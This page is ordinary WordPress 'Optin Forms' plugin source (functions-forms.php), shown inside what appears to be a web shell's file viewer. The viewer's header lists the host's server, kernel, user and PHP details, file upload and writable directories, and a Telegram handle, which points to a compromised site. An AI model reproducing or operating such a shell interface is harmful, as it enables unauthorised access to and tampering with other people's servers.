https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/relaunch-kmu/wp-content/plugins/optin-forms/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /html/relaunch-kmu/wp-content/plugins/optin-forms/includes/functions-forms.php
<?php

// Get excluded posts and create an array
function optinforms_get_excluded_posts() {
	global $optinforms_form_exclude_posts;
	if(empty($optinforms_form_exclude_posts)) {
		$optinforms_get_excluded_posts = '0';
	}
	if(!is_string($optinforms_form_exclude_posts)) {
		$optinforms_get_excluded_posts = '0';
	}
	else {
	  $optinforms_form_exclude_posts = str_replace( ' ', '', $optinforms_form_exclude_posts );
	  $optinforms_get_excluded_posts = explode(',', $optinforms_form_exclude_posts);
	}
	return $optinforms_get_excluded_posts;
}

// Get excluded pages and create an array
function optinforms_get_excluded_pages() {
	global $optinforms_form_exclude_pages;
	if(empty($optinforms_form_exclude_pages)) {
		$optinforms_get_excluded_pages = '0';
	}
	if(!is_string($optinforms_form_exclude_pages)) {
		$optinforms_get_excluded_pages = '0';
	}
	else {
	  $optinforms_get_excluded_pages = explode(',', $optinforms_form_exclude_pages);
	}
	return $optinforms_get_excluded_pages;
}

// Insert form on post, after first paragraph
add_filter( "the_content", "optinform_insert_form_first_paragraph_post" );

function optinform_insert_form_first_paragraph_post($content) {
	global $optinforms_form_placement_post, $optinforms_form_exclude_posts;
	$optinforms_get_excluded_posts = optinforms_get_excluded_posts(); // THIS ONE IS NEW !!!
	if($optinforms_form_placement_post == '1'){
		$ad_code = optinforms_create_form();
		if(empty($optinforms_form_exclude_posts) && is_single()) {
			return optinform_insert_form_after_paragraph($ad_code, 1, $content);
		}
		elseif (!empty($optinforms_form_exclude_posts) && is_single()) {
			if(is_single($optinforms_get_excluded_posts)) {
				// do nothing
			}
			else {
				return optinform_insert_form_after_paragraph($ad_code, 1, $content);
			}
		}
	}
	else {
		// do nothing
	}
	return $content;
}

// Insert form on page, after first paragraph
add_filter( "the_content", "optinform_insert_form_first_paragraph_page" );

function optinform_insert_form_first_paragraph_page($content) {
	global $optinforms_form_placement_page;
	$optinforms_get_excluded_pages = optinforms_get_excluded_pages(); // THIS ONE IS NEW !!!
	if($optinforms_form_placement_page == '1'){
		$ad_code = optinforms_create_form();
		if(is_page()) {
			if(is_page($optinforms_get_excluded_pages)) {
				// do nothing
			}
			else {
				return optinform_insert_form_after_paragraph($ad_code, 1, $content);
			}
		}
	}
	else {
		// do nothing
	}
	return $content;
}

// Insert form on post, after second paragraph
add_filter( "the_content", "optinform_insert_form_second_paragraph_post" );

function optinform_insert_form_second_paragraph_post($content) {
	global $optinforms_form_placement_post;
	$optinforms_get_excluded_posts = optinforms_get_excluded_posts(); // THIS ONE IS NEW !!!
	if($optinforms_form_placement_post == '2'){
		$ad_code = optinforms_create_form();
		if(is_single()) {
			if(is_single($optinforms_get_excluded_posts)) {
				// do nothing
			}
			else {
				return optinform_insert_form_after_paragraph($ad_code, 2, $content);
			}
		}
	}
	else {
		// do nothing
	}
	return $content;
}

// Insert form on page, after second paragraph
add_filter( "the_content", "optinform_insert_form_second_paragraph_page" );

function optinform_insert_form_second_paragraph_page($content) {
	global $optinforms_form_placement_page;
	$optinforms_get_excluded_pages = optinforms_get_excluded_pages(); // THIS ONE IS NEW !!!
	if($optinforms_form_placement_page == '2'){
		$ad_code = optinforms_create_form();
		if(is_page()) {
			if(is_page($optinforms_get_excluded_pages)) {
				// do nothing
			}
			else {
				return optinform_insert_form_after_paragraph($ad_code, 2, $content);
			}
		}
	}
	else {
		// do nothing
	}
	return $content;
}

// Help us insert form in between paragraphs
function optinform_insert_form_after_paragraph($insertion, $paragraph_id, $content) {
	$closing_p = '</p>';
	$paragraphs = explode($closing_p, $content);
	foreach ($paragraphs as $index => $paragraph) {
		if (trim($paragraph)) {
			$paragraphs[$index] .= $closing_p;
		}
		if ($paragraph_id == $index + 1) {
			$paragraphs[$index] .= $insertion;
		}
	}
	return implode('', $paragraphs);
}

// Insert form after post content
add_filter( "the_content", "optinforms_insert_form_after_post" );

function optinforms_insert_form_after_post($content) {
	global $optinforms_form_placement_post, $optinforms_form_exclude_posts;
	$optinforms_get_excluded_posts = optinforms_get_excluded_posts(); // THIS ONE IS NEW !!!
	if($optinforms_form_placement_post == '3' || empty($optinforms_form_placement_post)) {

		if(empty($optinforms_form_exclude_posts) && is_single()) {
			$content .= optinforms_create_form();
		}
		elseif (!empty($optinforms_form_exclude_posts) && is_single()) {
			if(is_single($optinforms_get_excluded_posts)) {
				// do nothing
			}
			else {
				$content .= optinforms_create_form();
			}
		}

	}
	return $content;
}

// Insert form after page content
add_filter( "the_content", "optinforms_insert_form_after_page" );

function optinforms_insert_form_after_page($content) {
	global $optinforms_form_placement_page, $optinforms_form_exclude_pages;
	$optinforms_get_excluded_pages = optinforms_get_excluded_pages(); // THIS ONE IS NEW !!!
	if($optinforms_form_placement_page == '3' || empty($optinforms_form_placement_page)) {
		if(is_page()) {
			if(is_page($optinforms_get_excluded_pages)) {
				// do nothing
			}
			else {
				$content .= optinforms_create_form();
			}
		}
	}
	return $content;
}

// Create our shortcode for inclusion in sidebar
add_shortcode( 'optinform', 'optinforms_create_form' );

// Make sure our shortcode will work in widgets
add_filter('widget_text', 'do_shortcode');

// Code comment beginning
function optinforms_code_comment(){
	return "\n\n<!-- Form created by Optin Forms plugin by WPKube: create beautiful optin forms with ease! -->\n<!-- https://wpkube.com/ -->\n";
}

// Code comment end
function optinforms_code_comment_end(){
	return "\n<!-- / Optin Forms -->\n\n";
}

function optinforms_status_messages() {

	global $optinforms_email_solution;

	ob_start();
	?>
	<div class="optinforms-status-success-message" style="display:none;">Thank you for subscribing.</div>
	<div class="optinforms-status-error-message" style="display:none;">Something went wrong.</div>
	<?php
	$output = ob_get_contents();
	ob_end_clean();

	return $output;

}

function optinforms_form_class() {

	global $optinforms_email_solution;

	$class = '';

	if ( $optinforms_email_solution == 'optinforms_email_solution_option8' ) {
		$class .= 'optinforms-solution-mailerlite';
	}

	return $class;

}

// Form 1
function optinforms_create_form() {
	global $optinforms_form_design;
	
	if($optinforms_form_design == 'optinforms_form_design_option1') {
		ob_start(); ?>

			<?php echo optinforms_code_comment(); ?>
			<div id="optinforms-form1-container" class="optinforms-form-container" <?php echo optinforms_form1_get_width(); ?>>
				<?php echo optinforms_before_form(); ?>
				<form method="post" <?php echo optinforms_form_target_blank(); ?> class="<?php echo esc_attr( optinforms_form_class() ); ?>" action="<?php echo esc_attr(optinforms_get_form_action()); ?>" <?php echo optinforms_form_action_appendix(); ?>>
					<?php echo optinforms_get_form_identifiers(); ?>
					<div id="optinforms-form1" style="background:<?php echo esc_attr( optinforms_form1_default_background() ); ?>; border-color:<?php echo esc_attr( optinforms_form1_default_border() ); ?>">
						<p id="optinforms-form1-title" style="font-family:<?php echo esc_attr( optinforms_form1_default_title_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form1_default_title_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form1_default_title_size() ); ?>; color:<?php echo esc_attr( optinforms_form1_default_title_color() ); ?>"><?php echo esc_html( optinforms_form1_default_title() ); ?></p>
						<p id="optinforms-form1-subtitle" style="font-family:<?php echo esc_attr( optinforms_form1_default_subtitle_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form1_default_subtitle_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form1_default_subtitle_size() ); ?>; color:<?php echo esc_attr( optinforms_form1_default_subtitle_color() ); ?>"><?php echo esc_html( optinforms_form1_default_subtitle() ); ?></p>
						<div id="optinforms-form1-name-field-container">
							<input required type="text" id="optinforms-form1-name-field" name="<?php echo esc_attr( optinforms_get_name_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form1_default_name_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form1_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form1_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form1_default_fields_color() ); ?>" />
							<?php echo optinforms_mailchimp_full_name_fix(); ?>
						</div><!--optinforms-form1-name-field-container-->
						<div id="optinforms-form1-email-field-container">
							<input required type="text" id="optinforms-form1-email-field" name="<?php echo esc_attr( optinforms_get_email_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form1_default_email_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form1_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form1_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form1_default_fields_color() ); ?>" />
						</div><!--optinforms-form1-email-field-container-->
						<div id="optinforms-form1-button-container">
							<input type="submit" name="submit" id="optinforms-form1-button" value="<?php echo esc_attr( optinforms_form1_default_button_text() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form1_default_button_text_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form1_default_button_text_size() ); ?>; color:<?php echo esc_attr( optinforms_form1_default_button_text_color() ); ?>; background-color:<?php echo esc_attr( optinforms_form1_default_button_background() ); ?>" />
						</div><!--optinforms-form1-button-container-->
						<div class="clear"></div>
						<?php echo optinforms_status_messages(); ?>
						<?php echo optinforms_confirm_checkbox('form1'); ?>
						<p id="optinforms-form1-disclaimer" style="font-family:<?php echo esc_attr( optinforms_form1_default_disclaimer_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form1_default_disclaimer_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form1_default_disclaimer_size() ); ?>; color:<?php echo esc_attr( optinforms_form1_default_disclaimer_color() ); ?>"><?php echo wp_kses_post( optinforms_form1_default_disclaimer() ); ?></p>
					</div><!--optinforms-form1-->
					<div class="clear"></div>
					<?php echo optinforms_powered_by(); ?>
				</form>
			</div><!--optinforms-form1-container-->
			<div class="clear"></div>
			<?php echo optinforms_code_comment_end(); ?>
			<?php echo optinforms_form1_add_custom_css(); ?>
		
		<?php return ob_get_clean();
	}
	elseif($optinforms_form_design == 'optinforms_form_design_option2') {
		ob_start(); ?>

			<?php echo optinforms_code_comment(); ?>
			<div id="optinforms-form2-container" class="optinforms-form-container" <?php echo optinforms_form2_get_width(); ?>>
				<?php echo optinforms_before_form(); ?>
				<form method="post" <?php echo optinforms_form_target_blank(); ?> class="<?php echo esc_attr( optinforms_form_class() ); ?>" action="<?php echo esc_attr(optinforms_get_form_action()); ?>" <?php echo optinforms_form_action_appendix(); ?>>
					<?php echo optinforms_get_form_identifiers(); ?>
					<div id="optinforms-form2" style="background:<?php echo esc_attr( optinforms_form2_default_background() ); ?>">
						<div id="optinforms-form2-title-container">
							<div id="optinforms-form2-title" style="font-family:<?php echo esc_attr( optinforms_form2_default_title_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form2_default_title_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form2_default_title_size() ); ?>; color:<?php echo esc_attr( optinforms_form2_default_title_color() ); ?>"><?php echo esc_html( optinforms_form2_default_title() ); ?></div><!--optinforms-form2-title-->
						</div><!--optinforms-form2-title-container-->
						<div id="optinforms-form2-email-field-container">
							<input required type="text" id="optinforms-form2-email-field" name="<?php echo esc_attr( optinforms_get_email_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form2_default_email_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form2_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form2_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form2_default_fields_color() ); ?>" />
						</div><!--optinforms-form2-email-field-container-->
						<div id="optinforms-form2-button-container">
							<input type="submit" name="submit" id="optinforms-form2-button" value="<?php echo esc_attr( optinforms_form2_default_button_text() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form2_default_button_text_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form2_default_button_text_size() ); ?>; color:<?php echo esc_attr( optinforms_form2_default_button_text_color() ); ?>; background-color:<?php echo esc_attr( optinforms_form2_default_button_background() ); ?>" />
						</div><!--optinforms-form2-button-container-->
						<div id="optinforms-form2-disclaimer-container">
							<p id="optinforms-form2-disclaimer" style="font-family:<?php echo esc_attr( optinforms_form2_default_disclaimer_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form2_default_disclaimer_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form2_default_disclaimer_size() ); ?>; color:<?php echo esc_attr( optinforms_form2_default_disclaimer_color() ); ?>"><?php echo wp_kses_post( optinforms_form2_default_disclaimer() ); ?></p>
						</div><!--optinforms-form2-disclaimer-container-->
						<?php echo optinforms_confirm_checkbox('form2'); ?>
						<div class="clear"></div>
					</div><!--optinforms-form2-->
					<div class="clear"></div>
					<?php echo optinforms_status_messages(); ?>
					<?php echo optinforms_powered_by(); ?>
				</form>
			</div><!--optinforms-form2-container-->
			<div class="clear"></div>
			<?php echo optinforms_code_comment_end(); ?>
			<?php echo optinforms_form2_add_custom_css(); ?>

		<?php return ob_get_clean();
	}
	elseif($optinforms_form_design == 'optinforms_form_design_option3') {
		ob_start(); ?>

			<?php echo optinforms_code_comment(); ?>
			<div id="optinforms-form3-container" class="optinforms-form-container" <?php echo optinforms_form3_get_width(); ?>>
				<?php echo optinforms_before_form(); ?>
				<form method="post" <?php echo optinforms_form_target_blank(); ?> class="<?php echo esc_attr( optinforms_form_class() ); ?>" action="<?php echo esc_attr(optinforms_get_form_action()); ?>" <?php echo optinforms_form_action_appendix(); ?>>
					<?php echo optinforms_get_form_identifiers(); ?>
					<div id="optinforms-form3">
						<div id="optinforms-form3-inside" style="background:<?php echo esc_attr( optinforms_form3_default_background() ); ?>">
							<div id="optinforms-form3-container-left">
								<div id="optinforms-form3-title" style="font-family:<?php echo esc_attr( optinforms_form3_default_title_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form3_default_title_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form3_default_title_size() ); ?>; color:<?php echo esc_attr( optinforms_form3_default_title_color() ); ?>"><?php echo esc_html( optinforms_form3_default_title() ); ?></div><!--optinforms-form3-title-->
								<div id="optinforms-form3-subtitle" style="font-family:<?php echo esc_attr( optinforms_form3_default_subtitle_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form3_default_subtitle_size() ); ?>; color:<?php echo esc_attr( optinforms_form3_default_subtitle_color() ); ?>"><?php echo esc_html( optinforms_form3_default_subtitle() ); ?></div><!--optinforms-form3-subtitle-->
							</div><!--optinforms-form3-container-left-->
							<div id="optinforms-form3-container-right">
								<input required type="text" id="optinforms-form3-name-field" name="<?php echo esc_attr( optinforms_get_name_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form3_default_name_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form3_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form3_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form3_default_fields_color() ); ?>" />
								<input required type="text" id="optinforms-form3-email-field" name="<?php echo esc_attr( optinforms_get_email_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form3_default_email_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form3_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form3_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form3_default_fields_color() ); ?>" />
								<?php echo optinforms_mailchimp_full_name_fix(); ?>
								<input type="submit" name="submit" id="optinforms-form3-button" value="<?php echo esc_attr( optinforms_form3_default_button_text() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form3_default_button_text_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form3_default_button_text_size() ); ?>; color:<?php echo esc_attr( optinforms_form3_default_button_text_color() ); ?>; background-color:<?php echo esc_attr( optinforms_form3_default_button_background() ); ?>" />
								<?php echo optinforms_status_messages(); ?>
								<?php echo optinforms_confirm_checkbox('form3'); ?>
							</div><!--optinforms-form3-container-right-->
							<div class="clear"></div>
						</div><!--optinforms-form3-inside-->
					</div><!--optinforms-form3-->
					<div class="clear"></div>
					<?php echo optinforms_powered_by(); ?>
				</form>
			</div><!--optinforms-form3-container-->
			<div class="clear"></div>
			<?php echo optinforms_code_comment_end(); ?>
			<?php echo optinforms_form3_add_custom_css(); ?>


		<?php return ob_get_clean();
	}
	elseif($optinforms_form_design == 'optinforms_form_design_option4') {
		ob_start(); ?>

			<?php echo optinforms_code_comment(); ?>
			<div id="optinforms-form4-container" class="optinforms-form-container" <?php echo optinforms_form4_get_width(); ?>>
				<?php echo optinforms_before_form(); ?>
				<form method="post" <?php echo optinforms_form_target_blank(); ?> class="<?php echo esc_attr( optinforms_form_class() ); ?>" action="<?php echo esc_attr(optinforms_get_form_action()); ?>" <?php echo optinforms_form_action_appendix(); ?>>
					<?php echo optinforms_get_form_identifiers(); ?>
					<div id="optinforms-form4" style="background:<?php echo esc_attr( optinforms_form4_default_background() ); ?>; border-color:<?php echo esc_attr( optinforms_form4_default_border() ); ?>">
						<div id="optinforms-form4-title" style="font-family:<?php echo esc_attr( optinforms_form4_default_title_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form4_default_title_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form4_default_title_size() ); ?>; color:<?php echo esc_attr( optinforms_form4_default_title_color() ); ?>"><?php echo esc_html( optinforms_form4_default_title() ); ?></div><!--optinforms-form4-title-->
						<div id="optinforms-form4-subtitle" style="font-family:<?php echo esc_attr( optinforms_form4_default_subtitle_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form4_default_subtitle_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form4_default_subtitle_size() ); ?>; color:<?php echo esc_attr( optinforms_form4_default_subtitle_color() ); ?>"><?php echo esc_html( optinforms_form4_default_subtitle() ); ?></div><!--optinforms-form4-subtitle-->
						<input required type="text" id="optinforms-form4-email-field" name="<?php echo esc_attr( optinforms_get_email_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form4_default_email_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form4_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form4_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form4_default_fields_color() ); ?>" />
						<input type="submit" name="submit" id="optinforms-form4-button" value="<?php echo esc_attr( optinforms_form4_default_button_text() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form4_default_button_text_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form4_default_button_text_size() ); ?>; color:<?php echo esc_attr( optinforms_form4_default_button_text_color() ); ?>; background-color:<?php echo esc_attr( optinforms_form4_default_button_background() ); ?>" />
						<?php echo optinforms_status_messages(); ?>
						<?php echo optinforms_confirm_checkbox('form4'); ?>
						<div id="optinforms-form4-disclaimer" style="font-family:<?php echo esc_attr( optinforms_form4_default_disclaimer_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form4_default_disclaimer_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form4_default_disclaimer_size() ); ?>; color:<?php echo esc_attr( optinforms_form4_default_disclaimer_color() ); ?>"><?php echo wp_kses_post( optinforms_form4_default_disclaimer() ); ?></div><!--optinforms-form4-disclaimer-->
						<div class="clear"></div>
					</div><!--optinforms-form4-->
					<div class="clear"></div>
					<?php echo optinforms_powered_by(); ?>
				</form>
			</div><!--optinforms-form4-container-->
			<div class="clear"></div>
			<?php echo optinforms_code_comment_end(); ?>
			<?php echo optinforms_form4_add_custom_css(); ?>

		<?php return ob_get_clean();
	}
	elseif($optinforms_form_design == 'optinforms_form_design_option5') {
		ob_start(); ?>

			<?php echo optinforms_code_comment(); ?>
			<div id="optinforms-form5-container" class="optinforms-form-container" <?php echo optinforms_form5_get_width(); ?>>
				<?php echo optinforms_before_form(); ?>
				<form method="post" <?php echo optinforms_form_target_blank(); ?> class="<?php echo esc_attr( optinforms_form_class() ); ?>" action="<?php echo esc_attr(optinforms_get_form_action()); ?>" <?php echo optinforms_form_action_appendix(); ?>>
					<?php echo optinforms_get_form_identifiers(); ?>
					<div id="optinforms-form5" style="background:<?php echo optinforms_form5_default_background(); ?>;">
						<div id="optinforms-form5-container-left">
							<div id="optinforms-form5-title" style="font-family:<?php echo esc_attr( optinforms_form5_default_title_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form5_default_title_size() ); ?>; line-height:<?php echo esc_attr( optinforms_form5_default_title_size() ); ?>; color:<?php echo esc_attr( optinforms_form5_default_title_color() ); ?>"><?php echo esc_html( optinforms_form5_default_title() ); ?></div><!--optinforms-form5-title-->
							<input required type="text" id="optinforms-form5-name-field" name="<?php echo esc_attr( optinforms_get_name_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form5_default_name_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form5_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form5_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form5_default_fields_color() ); ?>" />
							<input required type="text" id="optinforms-form5-email-field" name="<?php echo esc_attr( optinforms_get_email_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form5_default_email_field() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form5_default_fields_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form5_default_fields_size() ); ?>; color:<?php echo esc_attr( optinforms_form5_default_fields_color() ); ?>" />
							<?php echo optinforms_mailchimp_full_name_fix(); ?>
							<input type="submit" name="submit" id="optinforms-form5-button" value="<?php echo esc_attr( optinforms_form5_default_button_text() ); ?>" style="font-family:<?php echo esc_attr( optinforms_form5_default_button_text_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form5_default_button_text_size() ); ?>; color:<?php echo esc_attr( optinforms_form5_default_button_text_color() ); ?>; background-color:<?php echo esc_attr( optinforms_form5_default_button_background() ); ?>" />
							<?php echo optinforms_status_messages(); ?>
							<?php echo optinforms_confirm_checkbox('form5'); ?>
						</div><!--optinforms-form5-container-left-->
						<div id="optinforms-form5-container-right">
							<div id="optinforms-form5-subtitle" style="font-family:<?php echo esc_attr( optinforms_form5_default_subtitle_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form5_default_subtitle_size() ); ?>; color:<?php echo esc_attr( optinforms_form5_default_subtitle_color() ); ?>"><?php echo esc_html( optinforms_form5_default_subtitle() ); ?></div><!--optinforms-form5-subtitle-->
							<div id="optinforms-form5-disclaimer" style="font-family:<?php echo esc_attr( optinforms_form5_default_disclaimer_font() ); ?>; font-size:<?php echo esc_attr( optinforms_form5_default_disclaimer_size() ); ?>; color:<?php echo esc_attr( optinforms_form5_default_disclaimer_color() ); ?>"><?php echo wp_kses_post( optinforms_form5_default_disclaimer() ); ?></div><!--optinforms-form5-disclaimer-->
						</div><!--optinforms-form5-container-right-->
						<div class="clear"></div>
					</div><!--optinforms-form5-->
					<div class="clear"></div>
					<?php echo optinforms_powered_by(); ?>
				</form>
			</div><!--optinforms-form5-container-->
			<div class="clear"></div>
			<?php echo optinforms_code_comment_end(); ?>
			<?php echo optinforms_form5_add_custom_css(); ?>

		<?php return ob_get_clean();
	}
	elseif($optinforms_form_design == 'optinforms_form_design_option6') {
		ob_start();
		?>
			
			<?php echo optinforms_code_comment() ?>
				<div id="optinforms-form6-container" class="optinforms-form-container">
					<?php echo optinforms_before_form(); ?>
					<form method="post" <?php echo optinforms_form_target_blank(); ?> class="<?php echo esc_attr( optinforms_form_class() ); ?>" action="<?php echo esc_attr( optinforms_get_form_action() ); ?>" <?php echo optinforms_form_action_appendix(); ?>>
						<?php echo optinforms_get_form_identifiers(); ?>
						<div id="optinforms-form6">
							<input required type="text" id="optinforms-form6-email-field" name="<?php echo esc_attr( optinforms_get_email_field() ); ?>" placeholder="<?php echo esc_attr( optinforms_form6_default_email_field() ); ?>" />
							<input type="submit" id="optinforms-form6-button" value="<?php echo esc_attr( optinforms_form6_default_button_text() ); ?>" />
							<?php echo optinforms_status_messages(); ?>
							<?php echo optinforms_confirm_checkbox('form6'); ?>
						</div><!--optinforms-form6-->
					</form>
				</div><!-- .optinforms-form6-container -->
			<?php echo optinforms_code_comment_end(); ?>

		<?php
		$output = ob_get_contents();
		ob_end_clean();
		return $output;
	}
	else {
		global $optinforms_forms;

		// Have any custom form designs been registered?
		if ( is_array( $optinforms_forms ) ) {

			// Loops through registered form designs
			foreach ( $optinforms_forms as $id => $design ) {

				// Does the current form ID match the saved form ID?
				if ( $optinforms_form_design == $design->optinform['id'] ) {

					// Does the method exist to output the form?
					if ( method_exists( $design, 'get_optin_form' ) ) {
						return optinforms_code_comment() . optinforms_before_form() . '<form method="post" ' . optinforms_form_target_blank() . ' action="' . esc_attr( optinforms_get_form_action() ) . '" ' . optinforms_form_action_appendix() . '>' . optinforms_get_form_identifiers() . $design->get_optin_form() . '</form><div class="clear">';
					}
				}
			}
		}
	}
}

/**
 * Removes filters from excerpts.
 *
 * This was intended to prevent the optin form from being disaplyed during or
 * after excerpts. However, users were reporting that it was having a broader
 * impact than intended, so I (@alexmansfield) disabled it. Examples of user
 * struggles are listed below:
 *
 * @see https://wordpress.org/support/topic/forms-not-showing-upvia-form-placement-option?replies=1
 * @see https://wordpress.org/support/topic/cant-get-the-form-back-after-the-plugin-was-desabled?replies=1
 *
 * @param string $excerpt The post excerpt
 * @return string $excerpt The post excerpt
 */
function optinforms_remove_from_excerpt( $excerpt ) {
	remove_filter( "the_content", "optinform_insert_form_first_paragraph_post" );
	remove_filter( "the_content", "optinform_insert_form_first_paragraph_page" );
	remove_filter( "the_content", "optinform_insert_form_second_paragraph_post" );
	remove_filter( "the_content", "optinform_insert_form_second_paragraph_page" );
	remove_filter( "the_content", "optinforms_insert_form_after_post" );
	remove_filter( "the_content", "optinforms_insert_form_after_page" );

	return $excerpt;
}
// add_filter( 'get_the_excerpt', 'optinforms_remove_from_excerpt', 1 );

https://t.me/RX1948 - 2025